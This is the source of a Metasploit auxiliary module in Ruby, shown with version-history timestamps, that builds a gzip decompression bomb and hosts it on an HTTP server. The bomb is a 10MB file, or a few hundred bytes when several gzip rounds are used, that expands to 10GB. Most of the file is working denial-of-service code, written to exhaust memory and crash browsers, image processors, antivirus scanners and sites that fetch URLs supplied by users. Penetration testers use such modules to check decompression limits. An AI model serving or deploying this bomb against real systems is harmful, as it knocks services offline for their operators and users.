metasploit-framework/modules/auxiliary/dos/http/gzip_bomb_dos.rb

112 lines
3.7 KiB
Ruby
Raw Normal View History

2013-11-17 20:26:40 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2013-11-17 20:26:40 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'zlib'
require 'stringio'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-11-17 20:26:40 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
2013-11-18 21:07:59 +00:00
'Name' => 'Gzip Memory Bomb Denial Of Service',
2013-11-17 20:26:40 +00:00
'Description' => %q{
2013-11-17 21:35:35 +00:00
This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.
2013-11-17 20:26:40 +00:00
Many applications will not implement a length limit check and will eat up all memory and
eventually die. This can also be used to kill systems that download/parse content from
a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).
A FILEPATH datastore option can also be provided to save the .gz bomb locally.
2013-11-17 21:35:35 +00:00
2013-11-17 21:48:27 +00:00
Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly
deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)
will generate a 300 byte gzipped file that expands to 10GB.
2013-11-17 20:26:40 +00:00
},
'Author' =>
[
'info[at]aerasec.de', # 2004 gzip bomb advisory
'joev' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]
],
'DisclosureDate' => 'Jan 1 2004',
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options(
[
OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),
2013-11-17 21:35:35 +00:00
OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),
2013-11-17 21:38:48 +00:00
OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),
OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])
2013-11-17 20:26:40 +00:00
],
self.class)
end
def run
datastore['HTTP::compression'] = false # not a good idea
@gzip = generate_gzip
print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."
exploit # start http server
end
def on_request_uri(cli, request)
print_status "Sending gzipped payload to client #{cli.peerhost}"
rounds = (['gzip']*datastore['ROUNDS']).join(', ')
2013-11-17 21:38:48 +00:00
send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })
2013-11-17 20:26:40 +00:00
end
# zlib ftw
def generate_gzip(size=default_size, blocks=nil, reps=nil)
reps ||= datastore['ROUNDS']
return blocks if reps < 1
print_status "Generating gzip bomb..."
StringIO.open do |io|
stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)
buf = nil
begin
# add MB of data to the stream. this takes a little while, but doesn't kill memory.
if blocks.nil?
chunklen = 1024*1024*8 # 8mb per chunk
a = "A"*chunklen
n = size / chunklen
n.times do |i|
stream << a
if i % 100 == 0
print_status "#{i.to_s.rjust(Math.log(n,10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f/n.to_f*100)}%)"
end
end
else
stream << blocks
end
a = nil # gc a
buf = generate_gzip(size, io.string, reps-1)
ensure
stream.flush
stream.close
end
buf
end
end
def default_size
datastore['SIZE']*1024*1024 # mb -> bytes
end
end